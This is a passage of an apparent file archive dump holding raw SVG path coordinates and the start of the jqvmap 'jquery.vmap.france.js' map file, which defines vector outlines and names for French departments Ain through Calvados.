138921.00 76267.00C138920.94 76277.79 138921.13 76288.61 138920.90 76299.39C138910.27 76342.26 138899.63 76385.13 138889.00 76428.00C138889.00 76449.33 138889.00 76470.67 138889.00 76492.00C138878.33 76492.00 138867.67 76492.00 138857.00 76492.00C138878.33 76513.67 138899.67 76535.33 138921.00 76557.00C138899.67 76621.00 138878.33 76685.00 138857.00 76749.00C138846.33 76760.00 138835.67 76771.00 138825.00 76782.00C138808.56 76829.95 138791.85 76877.79 138776.02 76925.95C138770.68 76941.96 138765.34 76957.98 138760.00 76974.00C138738.67 76985.00 138717.33 76996.00 138696.00 77007.00C138696.00 77017.67 138696.00 77028.33 138696.00 77039.00C138685.33 77049.67 138674.67 77060.33 138664.00 77071.00C138653.33 77103.00 138642.67 77135.00 138632.00 77167.00C138599.67 77167.00 138567.33 77167.00 138535.00 77167.00C138535.00 77188.67 138535.00 77210.33 138535.00 77232.00C138524.33 77253.33 138513.67 77274.67 138503.00 77296.00C138513.67 77360.33 138524.33 77424.67 138535.00 77489.00C138492.33 77467.67 138449.67 77446.33 138407.00 77425.00C138374.67 77435.67 138342.33 77446.33 138310.00 77457.00C138299.33 77467.67 138288.67 77478.33 138278.00 77489.00C138256.67 77456.67 138235.33 77424.33 138214.00 77392.00C138203.00 77295.67 138192.00 77199.33 138181.00 77103.00C138170.33 77092.33 138159.67 77081.67 138149.00 77071.00C138138.33 77071.00 138127.67 77071.00 138117.00 77071.00C138095.57 77081.76 138074.05 77092.38 138052.68 77103.23C137977.78 77156.82 137902.89 77210.41 137828.00 77264.00C137763.67 77253.33 137699.33 77242.67 137635.00 77232.00C137592.00 77242.67 137549.00 77253.33 137506.00 77264.00C137473.89 77220.92 137441.90 77177.74 137409.72 77134.72C137390.29 77115.18 137370.75 77095.75 137350.86 77076.68C137347.75 77073.70 137344.94 77070.30 137340.73 77068.86C137320.82 77058.91 137300.91 77048.96 137281.00 77039.00C137237.81 77049.74 137194.66 77060.69 137151.44 77071.31C137098.29 77081.87 137045.15 77092.44 136992.00 77103.00C136949.00 77103.00 136906.00 77103.00 136863.00 77103.00C136841.67 77092.33 136820.33 77081.67 136799.00 77071.00C136777.67 77092.33 136756.33 77113.67 136735.00 77135.00C136702.67 77113.67 136670.33 77092.33 136638.00 77071.00C136606.00 77060.33 136574.00 77049.67 136542.00 77039.00C136520.33 76964.00 136498.67 76889.00 136477.00 76814.00C136423.67 76749.67 136370.33 76685.33 136317.00 76621.00C136305.88 76620.92 136294.71 76621.17 136283.62 76620.87C136251.75 76610.25 136219.87 76599.63 136188.00 76589.00C136177.33 76556.67 136166.67 76524.33 136156.00 76492.00C136145.33 76481.33 136134.67 76470.67 136124.00 76460.00C136124.00 76406.33 136124.00 76352.67 136124.00 76299.00C136091.67 76256.33 136059.33 76213.67 136027.00 76171.00C136037.67 76149.33 136048.33 76127.67 136059.00 76106.00C136048.33 76063.33 136037.67 76020.67 136027.00 75978.00C136048.67 75956.33 136070.33 75934.67 136092.00 75913.00C136070.33 75891.67 136048.67 75870.33 136027.00 75849.00C136027.00 75817.00 136027.00 75785.00 136027.00 75753.00C136037.67 75742.33 136048.33 75731.67 136059.00 75721.00C136059.00 75688.67 136059.00 75656.33 136059.00 75624.00C136027.00 75613.33 135995.00 75602.67 135963.00 75592.00C135963.00 75581.33 135963.00 75570.67 135963.00 75560.00C135984.33 75549.33 136005.67 75538.67 136027.00 75528.00C136005.67 75506.33 135984.33 75484.67 135963.00 75463.00C135952.33 75463.00 135941.67 75463.00 135931.00 75463.00C135941.67 75431.00 135952.33 75399.00 135963.00 75367.00C135941.67 75345.67 135920.33 75324.33 135899.00 75303.00C135888.00 75281.33 135877.00 75259.67 135866.00 75238.00C135823.33 75259.67 135780.67 75281.33 135738.00 75303.00C135705.67 75303.00 135673.33 75303.00 135641.00 75303.00C135609.00 75292.00 135577.00 75281.00 135545.00 75270.00C135545.08 75259.21 135544.83 75248.37 135545.13 75237.62C135555.75 75205.75 135566.38 75173.87 135577.00 75142.00C135587.67 75131.33 135598.33 75120.67 135609.00 75110.00C135598.33 75088.33 135587.67 75066.67 135577.00 75045.00C135545.00 75023.67 135513.00 75002.33 135481.00 74981.00C135406.00 74981.00 135331.00 74981.00 135256.00 74981.00C135256.00 74970.33 135256.00 74959.67 135256.00 74949.00C135245.00 74938.33 135234.00 74927.67 135223.00 74917.00C135222.94 74895.21 135223.13 74873.38 135222.90 74851.61C135212.27 74809.08 135201.63 74766.54 135191.00 74724.00C135255.33 74681.00 135319.67 74638.00 135384.00 74595.00C135394.67 74573.67 135405.33 74552.33 135416.00 74531.00C135416.00 74488.00 135416.00 74445.00 135416.00 74402.00C135437.67 74370.00 135459.33 74338.00 135481.00 74306.00C135481.00 74273.67 135481.00 74241.33 135481.00 74209.00C135502.54 74198.16 135524.21 74187.54 135545.66 74176.56C135609.78 74134.04 135673.89 74091.52 135738.00 74049.00C135738.00 74038.00 135738.00 74027.00 135738.00 74016.00C135705.67 74005.33 135673.33 73994.67 135641.00 73984.00C135641.00 73973.33 135641.00 73962.67 135641.00 73952.00C135619.67 73920.00 135598.33 73888.00 135577.00 73856.00C135577.00 73845.00 135577.00 73834.00 135577.00 73823.00C135598.33 73801.67 135619.67 73780.33 135641.00 73759.00C135641.00 73737.67 135641.00 73716.33 135641.00 73695.00C135619.67 73684.33 135598.33 73673.67 135577.00 73663.00C135545.00 73673.67 135513.00 73684.33 135481.00 73695.00C135470.00 73673.67 135459.00 73652.33 135448.00 73631.00C135426.67 73620.00 135405.33 73609.00 135384.00 73598.00C135362.67 73598.00 135341.33 73598.00 135320.00 73598.00C135290.70 73568.87 135261.82 73539.32 135232.00 73510.73C135229.00 73507.82 135226.00 73504.91 135223.00 73502.00C135223.00 73480.67 135223.00 73459.33 135223.00 73438.00C135234.00 73416.33 135245.00 73394.67 135256.00 73373.00C135266.67 73362.33 135277.33 73351.67 135288.00 73341.00C135255.67 73330.33 135223.33 73319.67 135191.00 73309.00C135169.67 73287.67 135148.33 73266.33 135127.00 73245.00C135116.21 73245.08 135105.37 73244.83 135094.62 73245.13C135062.41 73255.75 135030.21 73266.38 134998.00 73277.00C134955.33 73277.00 134912.67 73277.00 134870.00 73277.00C134848.33 73287.67 134826.67 73298.33 134805.00 73309.00C134794.33 73319.67 134783.67 73330.33 134773.00 73341.00C134773.00 73351.67 134773.00 73362.33 134773.00 73373.00C134741.00 73362.33 134709.00 73351.67 134677.00 73341.00C134677.08 73330.21 134676.83 73319.37 134677.13 73308.62C134687.75 73276.75 134698.38 73244.87 134709.00 73213.00C134687.55 73180.59 134666.28 73148.04 134644.71 73115.72C134624.81 73096.52 134605.00 73077.22 134585.55 73057.55C134562.23 73033.99 134538.93 73010.38 134515.78 72986.67C134494.52 72954.78 134473.26 72922.89 134452.00 72891.00C134452.00 72869.67 134452.00 72848.33 134452.00 72827.00C134441.21 72827.08 13
js/jqvmap/maps/jquery.vmap.france.js000060400000431410150710775200013475 0ustar00jQuery.fn.vectorMap('addMap', 'france_fr', {"width": 520, "height": 550, "pathes":{
  "FR-01" : {"path": "M 383.28125,262.59375 L 381.125,262.8125 L 379.75,265.34375 L 376.0625,279.78125 L 375.53125,280.96875 L 375.15625,285.53125 L 374.09375,287 L 374.09375,293.59375 L 373.46875,295.09375 L 377.28125,297.40625 L 378.78125,297.625 L 381.125,299.75 L 381.53125,303.15625 L 384.09375,302.3125 L 388.0625,303.46875 L 388.125,302.71875 L 390.03125,302.71875 L 392.78125,305.28125 L 395.34375,304 L 396.625,300.1875 L 397.90625,298.6875 L 399.59375,298.90625 L 401.28125,300.40625 L 402.15625,303.15625 L 410,312.71875 L 412.34375,311.03125 L 412.75,307.40625 L 415.3125,306.96875 L 415.3125,300.59375 L 416.59375,299.53125 L 417,293.8125 L 417.5,294.21875 L 417.4375,292.125 L 416.375,290.1875 L 416.8125,284.6875 L 418.71875,285.75 L 419.78125,283.8125 L 421.6875,283.1875 L 423.65625,281.625 L 421.53125,281.625 L 421.53125,277.90625 L 423.875,276.53125 L 427.375,276.15625 L 427.59375,274.1875 L 426.40625,273.40625 L 429.34375,269.6875 L 428.9375,268.53125 L 425.59375,266.75 L 417.46875,275.6875 L 411.8125,275.6875 L 411.8125,273.34375 L 408.6875,271.78125 L 404.96875,275.875 L 402.03125,276.28125 L 402.03125,273.53125 L 399.5,272.375 L 395.59375,266.90625 L 392.0625,265.53125 L 390.90625,263 L 388.9375,262.59375 L 387,263.96875 L 385.4375,264.375 L 383.28125,262.59375 z ", "name" : "Ain"},
	"FR-02" : {"path": "M 328.40625,62.21875 L 325.28125,64.375 L 323.71875,63 L 322.34375,63 L 319.21875,65.15625 L 316.875,63.78125 L 314.53125,65.15625 L 313.75,65.34375 L 313.15625,64.15625 L 311,64.15625 L 309.4375,65.15625 L 309.375,65.15625 L 309.84375,67.90625 L 307.28125,70.6875 L 307.28125,73.25 L 305.5,75.25 L 305.90625,77.625 L 306.875,81.59375 L 308.0625,88.34375 L 307.6875,94.28125 L 306.875,96.0625 L 309.25,97.84375 L 307.46875,98.65625 L 306.28125,103.40625 L 302.90625,104.1875 L 301.71875,106.1875 L 304.09375,106.59375 L 304.5,109.34375 L 302.71875,109.75 L 302.90625,112.71875 L 303.5,112.53125 L 304.5,110.9375 L 306.875,112.53125 L 308.28125,114.125 L 307.875,116.78125 L 309.65625,118.0625 L 310.25,122.375 L 315.5,127.4375 L 317.25,128.03125 L 318.25,130.375 L 321.53125,131.0625 L 321.9375,130.5625 L 322.9375,128.4375 L 325.875,127.0625 L 327.4375,122.96875 L 329.1875,121.78125 L 328.1875,120.40625 L 325.65625,120.40625 L 325.28125,119.0625 L 327.03125,118.28125 L 327.8125,117.09375 L 326.0625,115.9375 L 326.625,114.15625 L 331.125,113.78125 L 330.34375,112.03125 L 327.625,110.25 L 327.625,105 L 331.3125,102.25 L 335.4375,102.25 L 335.03125,100.3125 L 337.375,99.3125 L 340.6875,101.46875 L 342.0625,101.09375 L 341.875,94.4375 L 342.46875,92.09375 L 343.25,89.375 L 340.6875,88 L 341.28125,86.4375 L 345,85.65625 L 345,83.125 L 347.9375,81.5625 L 348.71875,79.21875 L 347.75,77.65625 L 347.9375,74.71875 L 349.6875,73.15625 L 347.9375,69.84375 L 348.46875,66.375 L 344.5,66.375 L 343.4375,67.09375 L 339.71875,66.125 L 338.9375,63.59375 L 337.78125,63.59375 L 335.625,65.53125 L 335.25,63.78125 L 330.9375,63.375 L 329.75,62.40625 L 328.40625,62.21875 z ", "name" : "Aisne"},
	"FR-03" : {"path": "M 301.625,247.96875 L 298.90625,251.46875 L 297.34375,251.65625 L 295.59375,253.4375 L 293.625,251.28125 L 288.375,256.5625 L 288.375,259.6875 L 289.34375,260.46875 L 289.53125,262.03125 L 286.8125,264.15625 L 284.25,263.375 L 279.375,264.375 L 276.84375,267.28125 L 275.90625,269.28125 L 276.0625,269.25 L 278.40625,272.5625 L 278.40625,274.90625 L 279.75,276.65625 L 281.125,274.90625 L 282.6875,277.65625 L 284.84375,278.4375 L 287,283.5 L 287.09375,284.96875 L 290.0625,287.28125 L 291.65625,286.5625 L 292.90625,283.5625 L 294.125,283.21875 L 294.125,281.625 L 296.25,281.4375 L 296.4375,282.5 L 299.09375,279.5 L 302.09375,279.5 L 302.625,280.5625 L 301.21875,282.5 L 303.3125,284.8125 L 303.6875,286.21875 L 308.625,289.0625 L 314.625,289.9375 L 316.40625,289.75 L 319.0625,290.28125 L 321.34375,288.875 L 323.125,289.75 L 323.46875,292.21875 L 325.78125,292.75 L 328.78125,292.59375 L 329.65625,294.71875 L 332.40625,295.8125 L 332.5,294.84375 L 337.1875,294.625 L 336.8125,283.5 L 335.4375,280.78125 L 336,278.625 L 339.25,278.0625 L 339.34375,277.84375 L 343.4375,274.71875 L 343.625,267.09375 L 342.25,265.15625 L 339.125,265.15625 L 337.96875,263.59375 L 334.65625,263.59375 L 333.6875,262.40625 L 333.6875,259.46875 L 329.75,252.0625 L 327.8125,250.6875 L 324.09375,255.78125 L 322.53125,256.15625 L 321.9375,253.625 L 320.1875,252.84375 L 319.40625,254.40625 L 316.5,254.40625 L 316.09375,252.65625 L 314.125,253.8125 L 312,255 L 309.65625,252.4375 L 306.3125,250.875 L 306.125,248.34375 L 301.625,247.96875 z ", "name" : "Allier"},
	"FR-04" : {"path": "M 463.84375,364.34375 L 461.71875,367.53125 L 458.71875,369.3125 L 457.65625,371.4375 L 455,371.59375 L 455,373.53125 L 454.28125,374.59375 L 453.21875,377.25 L 446.875,377.09375 L 443.875,375.5 L 441.90625,376.90625 L 438.21875,376.71875 L 437.3125,377.96875 L 438.21875,377.96875 L 438.75,381.3125 L 437.84375,381.6875 L 434.5,379.5625 L 434.5,378.3125 L 432.5625,376.71875 L 431.5,376.71875 L 431.5,378.5 L 429.90625,378.84375 L 426.53125,380.78125 L 424.40625,384.34375 L 423.875,386.09375 L 425.125,386.4375 L 425.3125,389.28125 L 424.0625,389.28125 L 422.125,387.5 L 421.0625,387.6875 L 421.59375,389.28125 L 424.59375,392.625 L 422.65625,393.34375 L 421.25,392.46875 L 417.6875,392.46875 L 414.6875,395.28125 L 414.65625,395.25 L 414.53125,396.40625 L 413.375,395.03125 L 411.8125,393.65625 L 410.8125,396.59375 L 409.0625,398.15625 L 408.3125,398.09375 L 408.34375,398.28125 L 408.5,400.9375 L 410.625,401.3125 L 410.625,403.78125 L 408.6875,404.65625 L 409.03125,407.5 L 412.5625,409.25 L 412.5625,411.1875 L 410.96875,412.96875 L 410.96875,414.5625 L 415.40625,414.5625 L 419.46875,419.15625 L 419.4375,419.25 L 424.59375,417.5625 L 430.96875,421.8125 L 434.5,419.15625 L 435.375,417.375 L 440.34375,415.78125 L 443.5,417.90625 L 448.09375,414.5625 L 453.40625,414.75 L 454.8125,413.3125 L 457.78125,413.1875 L 457.84375,413.15625 L 457.125,411.375 L 458,410.3125 L 457.65625,408.90625 L 460.46875,408.90625 L 461.1875,408.03125 L 463.84375,406.59375 L 465.96875,408.03125 L 467.375,407.125 L 464.03125,404.125 L 460.46875,400.78125 L 459.25,400.40625 L 459.0625,397.75 L 456.9375,394.59375 L 457.65625,390 L 458.71875,387.5 L 460.65625,385.90625 L 460.84375,383.4375 L 463.5,382.03125 L 463.90625,381.875 L 463.90625,378.09375 L 466.65625,377.71875 L 465.09375,376.34375 L 463.125,375.75 L 462.15625,373.21875 L 462.9375,371.46875 L 466.4375,367.75 L 465.875,365 L 466.375,364.46875 L 463.84375,364.34375 z ", "name" : "Alpes de Haute Provence"},
	"FR-05" : {"path": "M 447.34375,339.15625 L 445.59375,339.9375 L 445.1875,342.875 L 441.6875,343.28125 L 441.09375,340.53125 L 439.9375,339.375 L 436.40625,339.75 L 435.03125,340.9375 L 434.25,345.03125 L 434.84375,346 L 438.9375,346.40625 L 439.71875,348.9375 L 441.28125,349.71875 L 441.28125,354 L 437.5625,353.8125 L 436,355.5625 L 431.53125,354.78125 L 429,356.9375 L 427.21875,356.15625 L 424.6875,358.125 L 425.65625,359.875 L 424.09375,361.4375 L 419.21875,361.4375 L 419.21875,363.78125 L 420.78125,364.5625 L 420.1875,365.9375 L 416.875,367.28125 L 412.78125,367.6875 L 411.59375,371.40625 L 411.40625,373.75 L 413.5625,375.5 L 411.40625,378.03125 L 408.6875,376.65625 L 405.5625,376.46875 L 405.15625,378.21875 L 407.125,379.59375 L 404.75,381.15625 L 405.5625,384.46875 L 412.1875,386.25 L 413.375,388.78125 L 415.3125,389.15625 L 414.65625,395.25 L 414.6875,395.28125 L 417.6875,392.46875 L 421.25,392.46875 L 422.65625,393.34375 L 424.59375,392.625 L 421.59375,389.28125 L 421.0625,387.6875 L 422.125,387.5 L 424.0625,389.28125 L 425.3125,389.28125 L 425.125,386.4375 L 423.875,386.09375 L 424.40625,384.34375 L 426.53125,380.78125 L 429.90625,378.84375 L 431.5,378.5 L 431.5,376.71875 L 432.5625,376.71875 L 434.5,378.3125 L 434.5,379.5625 L 437.84375,381.6875 L 438.75,381.3125 L 438.21875,377.96875 L 437.3125,377.96875 L 438.21875,376.71875 L 441.90625,376.90625 L 443.875,375.5 L 446.875,377.09375 L 453.21875,377.25 L 454.28125,374.59375 L 455,373.53125 L 455,371.59375 L 457.65625,371.4375 L 458.71875,369.3125 L 461.71875,367.53125 L 463.84375,364.34375 L 466.375,364.46875 L 468.21875,362.46875 L 470.34375,362.65625 L 470.34375,360.90625 L 467.625,359.53125 L 467.03125,353.875 L 464.875,353.09375 L 462.15625,353.5 L 457.0625,350.9375 L 456.28125,345.09375 L 453.375,344.125 L 452.375,342.15625 L 451.09375,339.34375 L 447.34375,339.15625 z ", "name" : "Hautes Alpes"},
	"FR-06" : {"path": "M 463.90625,381.875 L 463.5,382.03125 L 460.84375,383.4375 L 460.65625,385.90625 L 458.71875,387.5 L 457.65625,390 L 456.9375,394.59375 L 459.0625,397.75 L 459.25,400.40625 L 460.46875,400.78125 L 464.03125,404.125 L 467.375,407.125 L 465.96875,408.03125 L 463.84375,406.59375 L 461.1875,408.03125 L 460.46875,408.90625 L 457.65625,408.90625 L 458,410.3125 L 457.125,411.375 L 457.84375,413.15625 L 455.53125,414.5625 L 456.40625,416.6875 L 458.71875,416.84375 L 461,417.90625 L 461.375,421.625 L 463.5,423.75 L 464.71875,423.75 L 467.03125,424.625 L 467.375,426.59375 L 465.96875,427.8125 L 467.03125,428.875 L 467.03125,430.125 L 469.21875,432.375 L 469.375,432.1875 L 469.5625,427.71875 L 473.46875,428.5 L 474.84375,426.71875 L 476.8125,427.125 L 477,421.0625 L 481.5,420.6875 L 485.40625,417.15625 L 488.90625,417.15625 L 489.09375,415 L 492.625,412.875 L 490.65625,408.375 L 493.59375,405.84375 L 493,402.90625 L 497.3125,401.53125 L 498.46875,397.25 L 497.90625,394.3125 L 496.90625,392.5625 L 496.125,390 L 493.21875,390.21875 L 484.03125,393.53125 L 481.09375,393.53125 L 476.03125,389.4375 L 470.9375,388.0625 L 468,388.0625 L 468,384.53125 L 463.90625,382 L 463.90625,381.875 z ", "name" : "Alpes Maritimes"},
	"FR-07" : {"path": "M 375.25,328.5 L 370.71875,331.1875 L 369.84375,335.03125 L 366.46875,335.65625 L 364.65625,336.15625 L 364.71875,336.25 L 363.5625,340.9375 L 360.8125,342.09375 L 359.65625,344.0625 L 360.4375,346.59375 L 361,347.96875 L 358.09375,347.96875 L 357.875,351.65625 L 354.75,351.875 L 353.1875,356.75 L 348.5,356.75 L 343.4375,360.46875 L 340.625,364.9375 L 341.09375,365.53125 L 342.46875,372.71875 L 345.78125,376.3125 L 345.21875,380.4375 L 349.375,382.9375 L 349.375,388.46875 L 351.59375,387.34375 L 356.28125,390.40625 L 358.5,391.21875 L 359.03125,387.34375 L 361.8125,386.8125 L 362.625,389.84375 L 365.40625,389.5625 L 365.9375,386.53125 L 372.28125,390.09375 L 373.3125,388 L 376,387.59375 L 376.21875,383.46875 L 375.59375,382.59375 L 374.75,382.40625 L 374.75,380.90625 L 375.375,379.40625 L 374.3125,377.71875 L 374.9375,373.90625 L 377.5,370.90625 L 377.5,366.6875 L 376.4375,361.78125 L 378.34375,361.375 L 378.78125,359.25 L 380.6875,355.625 L 381.75,352.875 L 380.0625,348.625 L 379,345.21875 L 377.5,339.28125 L 377.5,331.3125 L 376.4375,330.96875 L 375.25,328.5 z ", "name" : "Ardèche"},
	"FR-08" : {"path": "M 367.625,55.84375 L 365.65625,58.75 L 363.90625,60.53125 L 363.90625,62.28125 L 363.90625,64.625 L 361.5625,66.1875 L 357.28125,67.5625 L 354.9375,68.53125 L 352.1875,66.375 L 348.46875,66.375 L 347.9375,69.84375 L 349.6875,73.15625 L 347.9375,74.71875 L 347.75,77.65625 L 348.71875,79.21875 L 347.9375,81.5625 L 345,83.125 L 345,85.65625 L 341.28125,86.4375 L 340.6875,88 L 343.25,89.375 L 342.46875,92.09375 L 341.875,94.4375 L 342,99.3125 L 346.75,99.4375 L 350.90625,102.03125 L 351.6875,103.21875 L 353.875,103.8125 L 357.0625,106.1875 L 359.625,106.375 L 360.21875,105.78125 L 362.8125,105.78125 L 364,108.375 L 365.375,108.375 L 366.1875,107.1875 L 370.9375,107.375 L 371.71875,108.375 L 372.3125,108.375 L 374.3125,106.375 L 376.09375,107.96875 C 376.09375,107.96875 376.33461,107.94351 376.375,107.9375 L 376.25,107.125 L 378.59375,105.96875 L 379.75,104.78125 L 379,102.84375 L 378.78125,101.46875 L 380.9375,99.71875 L 381.71875,95.8125 L 379.375,92.875 L 380.15625,91.5 L 382.125,87.8125 L 382.6875,88.59375 L 385.625,88.59375 L 387,89.9375 L 388.75,88.78125 L 390.125,86.53125 L 388.71875,86.3125 L 387.9375,82.40625 L 386.375,81.21875 L 380.90625,80.625 L 379.9375,78.09375 L 378.15625,76.9375 L 371.90625,76.15625 L 371.53125,71.65625 L 372.3125,70.875 L 372.3125,69.125 L 369.1875,67.15625 L 369.78125,65 L 370.5625,63.0625 L 369.1875,61.875 L 371.34375,59.9375 L 371.34375,56.40625 L 370.5625,55.84375 L 367.625,55.84375 z ", "name" : "Ardennes"},
	"FR-09" : {"path": "M 237.21875,446.375 L 235.96875,447.25 L 235.4375,448.3125 L 237.90625,450.09375 L 238.625,451.34375 L 238.09375,452.375 L 233.84375,452.75 L 232.625,454.5 L 232.78125,455.03125 L 234.375,455.5625 L 235.28125,456.8125 L 234.21875,458.5625 L 232.96875,458.40625 L 231.03125,456.625 L 228.71875,455.9375 L 226.4375,456.09375 L 222.375,458.5625 L 222.53125,461.9375 L 223.59375,462.65625 L 222.90625,465.28125 L 218.28125,466.53125 L 216.53125,468.65625 L 216.53125,472.1875 L 217.25,473.25 L 215.59375,474.78125 L 216.65625,475.375 L 222.6875,476.53125 L 225.25,476.53125 L 228.5625,480.84375 L 236.96875,480.4375 L 240.28125,485.71875 L 243.21875,484.53125 L 251.8125,485.71875 L 252.4375,489.3125 L 258.5,487.90625 L 260.71875,485.96875 L 264.03125,485.125 L 264.84375,483.46875 L 272.03125,482.9375 L 267.625,477.6875 L 264.03125,479.625 L 257.6875,474.375 L 259.0625,472.4375 L 264.03125,472.4375 L 263.46875,467.75 L 263.46875,464.15625 L 262.65625,457.5 L 252.96875,452.8125 L 253.53125,451.15625 L 251.6875,449.09375 L 250.125,449.75 L 248,450.09375 L 244.09375,448.3125 L 243.03125,447.96875 L 244.625,449.90625 L 243.9375,451.5 L 240.5625,451.15625 L 240.40625,449.375 L 238.4375,446.71875 L 237.21875,446.375 z ", "name" : "Ariège"},
	"FR-10" : {"path": "M 349.3125,138.6875 L 345.34375,140.875 L 341.96875,143.25 L 338.625,143.25 L 333.0625,147.03125 L 328.3125,147.8125 L 324.9375,144.25 L 324.09375,144.4375 L 324.09375,145.03125 L 321.375,146.1875 L 321.1875,148.53125 L 319.8125,150.3125 L 319.03125,154.21875 L 318.59375,157.5 L 319.8125,158.5 L 322.15625,158.5 L 327.21875,163.78125 L 326.625,169.0625 L 330.15625,171.78125 L 332.125,170.40625 L 335.25,174.125 L 335.625,177.65625 L 337.78125,180.5625 L 338.75,182.71875 L 346.5625,183.125 L 350.46875,181.15625 L 351.625,183.3125 L 353,183.5 L 354,181.34375 L 360.4375,181.15625 L 362.96875,179.78125 L 363.375,177.25 L 369.03125,177.25 L 369.8125,177.6875 L 369.15625,175.1875 L 367.5625,174.1875 L 369.75,172.21875 L 373.125,172 L 374.3125,170.21875 L 374.09375,163.09375 L 373.3125,158.9375 L 369.9375,157.75 L 366.375,152.78125 L 366.5625,149.8125 L 367.59375,147.65625 L 365.78125,147.03125 L 360.21875,148.21875 L 356.25,148.21875 L 352.6875,142.875 L 352.28125,138.90625 L 349.3125,138.6875 z ", "name" : "Aube"},
	"FR-11" : {"path": "M 274.25,438.46875 L 273.96875,442.0625 L 270.375,440.9375 L 266.5,440.9375 L 266.78125,439.5625 L 264.84375,439.84375 L 260.71875,441.21875 L 259.34375,438.71875 L 256.5625,441.21875 L 257.40625,443.15625 L 254.34375,444.53125 L 253.8125,447.5625 L 251.3125,448.6875 L 253.53125,451.15625 L 252.96875,452.8125 L 262.65625,457.5 L 263.46875,464.15625 L 263.46875,467.75 L 264.03125,472.4375 L 259.0625,472.4375 L 257.6875,474.375 L 264.03125,479.625 L 267.625,477.6875 L 272.03125,482.9375 L 271.375,483 L 272.21875,483.5 L 280.15625,479.625 L 278.21875,476.78125 L 278.0625,473.4375 L 296.59375,473.4375 L 296.25,470.9375 L 300.5,468.65625 L 305.4375,472.53125 L 308,473.71875 L 307.84375,468.125 L 308.0625,461.6875 L 305.71875,461.875 L 303.75,458.96875 L 305.3125,456.40625 L 308.625,459.53125 L 311.5625,457.1875 L 313.53125,455.25 L 313.78125,453.1875 L 311.28125,453.09375 L 310.40625,450.28125 L 307.9375,450.09375 L 305.625,446.71875 L 303.84375,446.90625 L 301.75,445.65625 L 301.375,442.65625 L 300.3125,443.1875 L 300.84375,445.3125 L 298.375,445.3125 L 298.1875,448.84375 L 294.5,450.09375 L 292.71875,446.375 L 290.25,447.96875 L 288.125,446.375 L 287.0625,443.90625 L 288.84375,441.78125 L 288,439.5 L 287.78125,439.5625 L 281.96875,439.5625 L 275.90625,438.46875 L 274.25,438.46875 z ", "name" : "Aude"},
	"FR-12" : {"path": "M 294.6875,353.375 L 289.15625,358.09375 L 289.15625,362.78125 L 287.78125,362.78125 L 287.21875,367.1875 L 285.84375,367.75 L 284.75,370.21875 L 278.65625,370.21875 L 278.125,369.40625 L 275.34375,369.40625 L 273.6875,372.15625 L 273.09375,372.09375 L 272.75,373.1875 L 271.5,374.59375 L 267.96875,374.59375 L 267.25,375.5 L 265.5,375.3125 L 262.3125,378.84375 L 261.25,378.5 L 258.96875,380.4375 L 259.65625,383.96875 L 261.4375,386.625 L 260.0625,388.0625 L 260.375,392.09375 L 263.1875,392.28125 L 261.59375,395.46875 L 262.84375,398.65625 L 264.4375,397.75 L 265.15625,399.34375 L 267.4375,397.0625 L 270.8125,396.875 L 274.15625,399.34375 L 280,400.40625 L 282.125,404.125 L 285.125,405.53125 L 286.71875,409.59375 L 286.53125,411.1875 L 288.46875,414.75 L 288.46875,416.6875 L 292,421.28125 L 295.375,423.03125 L 297.5,422.5 L 298.5625,421.09375 L 300.15625,421.46875 L 303.8125,423.8125 L 303.84375,423.8125 L 305.46875,423.8125 L 308.78125,423.8125 L 308.5,418.03125 L 308.5,416.09375 L 310.15625,416.09375 L 313.1875,417.75 L 316.21875,417.75 L 315.6875,414.4375 L 317.34375,413.03125 L 320.65625,412.5 L 320.65625,409.71875 L 324.25,408.0625 L 323.40625,404.21875 L 320.375,404.21875 L 317.625,403.65625 L 317.0625,401.4375 L 319.28125,400.90625 L 319.28125,398.125 L 321.46875,396.1875 L 319.8125,395.375 L 315.125,396.1875 L 315.40625,394 L 312.09375,392.59375 L 311.25,385.96875 L 311.25,381.28125 L 308.5,379.34375 L 308.78125,375.46875 L 302.96875,368.3125 L 302.40625,362.78125 L 300.5,362.78125 L 299.65625,357.25 L 295.78125,357.8125 L 295.25,354.21875 L 294.6875,353.375 z ", "name" : "Aveyron"},
	"FR-13" : {"path": "M 379.71875,409.90625 L 374.25,413.03125 L 372.84375,423.53125 L 367.0625,422.71875 L 365.40625,427.125 L 366.78125,429.0625 L 360.4375,432.9375 L 358.6875,437 L 364.875,437.28125 L 373.09375,437.875 L 374.65625,439.4375 L 371.71875,439.4375 L 369.78125,442.75 L 378.15625,444.5 L 384.8125,443.34375 L 381.28125,440 L 383.625,438.0625 L 387.34375,439.625 L 389.09375,443.34375 L 400.25,443.53125 L 403.15625,442.34375 L 403.75,444.125 L 400.625,446.84375 L 404.9375,447.03125 L 404.15625,449 L 402.96875,450.375 L 412.53125,450.375 L 417.21875,451.9375 L 417.6875,452.5625 L 417.875,448.6875 L 419.28125,447.09375 L 421.0625,446.03125 L 420.875,444.96875 L 419.46875,443.5625 L 418.0625,443.5625 L 417.15625,442.5 L 418.75,441.0625 L 418.75,440.53125 L 417,439.65625 L 417,438.25 L 420.875,438.4375 L 421.78125,437.71875 L 418.40625,434.53125 L 418.59375,430.8125 L 416.46875,429.0625 L 418.21875,425.53125 L 422.46875,422.6875 L 419.28125,420.5625 L 417,422.34375 L 411.6875,423.5625 L 407.4375,423.03125 L 399.84375,419.875 L 395.25,420.03125 L 391.375,418.28125 L 389.9375,416.3125 L 386.9375,412.96875 L 379.875,409.96875 L 379.71875,409.90625 z ", "name" : "Bouches du Rhône"},
	"FR-14" : {"path": "M 202.65625,97.78125 L 198.09375,98.59375 L 190.65625,102.90625 L 182.28125,106.21875 L 175.625,102.5 L 159.625,100.15625 L 155.90625,98.21875 L 150.125,99.6875 L 150.46875,101.84375 L 149.34375,102.96875 L 149.5,104.5625 L 153.21875,108.28125 L 155.46875,109.5625 L 157.09375,107.46875 L 158.375,109.09375 L 156.75,111.1875 L 158.21875,113.59375 L 157.5625,114.40625 L 158.6875,116.6875 L 158.0625,119.25 L 156.4375,121.84375 L 153.84375,123.4375 L 152.40625,122.3125 L 150.96875,123.59375 L 152.5625,125.0625 L 151.28125,127.46875 L 148.21875,128.59375 L 151.9375,133.28125 L 155.625,133.59375 L 158.46875,135.4375 L 162.40625,134.25 L 165.3125,130.875 L 169.34375,132 L 172.875,129.5625 L 175,128.78125 L 177.25,131.03125 L 180.96875,130.375 L 184.1875,132.15625 L 188.21875,130.875 L 191.90625,128.125 L 194.34375,125.375 L 195.96875,125.0625 L 196.4375,127.15625 L 197.71875,126.84375 L 197.875,125.375 L 201.59375,124.75 L 202.875,125.53125 L 206.84375,124.65625 L 207.5,122.75 L 207.3125,121 L 205.34375,120.21875 L 205.15625,118.84375 L 206.90625,117.6875 L 207.125,115.71875 L 205.9375,111.03125 L 